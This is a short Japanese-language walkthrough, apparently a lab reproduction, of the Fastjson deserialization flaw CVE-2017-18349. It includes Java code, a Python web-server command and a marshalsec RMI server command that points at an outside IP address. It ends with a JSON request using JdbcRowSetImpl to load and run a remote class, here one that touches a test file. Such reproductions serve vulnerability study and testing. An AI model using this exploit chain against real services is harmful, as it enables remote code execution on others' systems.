Fastjson--CVE-2017-18349-Cancel changes

プロジェクトをMavenプロジェクトとして設定した後、実行します（注意：高バージョンのJDKでは失敗する可能性があります。JDK 1.8.65を使用することを推奨します）。 FastjsondemoApplication.java のmain関数を実行するだけです。 TouchFile.javaファイル

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
  static {
      try {
          Runtime rt = Runtime.getRuntime();
          String[] commands = {"touch", "/tmp/flag_test"};
          Process pc = rt.exec(commands);
          pc.waitFor();
      } catch (Exception e) {
          // do nothing
      }
  }
}

その後、同様にバージョン8のjavacを使用してclassファイルにコンパイルします。

javac TouchFile.java

PythonでWebサーバーを起動します。

python -m SimpleHTTPServer 80

marshalsecを使用してRMIServerを生成します。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.99.70.18/#TouchFile" 9999

リクエストパケットを変更します。

POST / HTTP/1.1
Host: 127.0.0.1:8080

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://47.99.70.18:9999/TouchFile",
        "autoCommit":true
    }
}

Fastjson--CVE-2017-18349-

人気

Fastjson--CVE-2017-18349-Cancel changes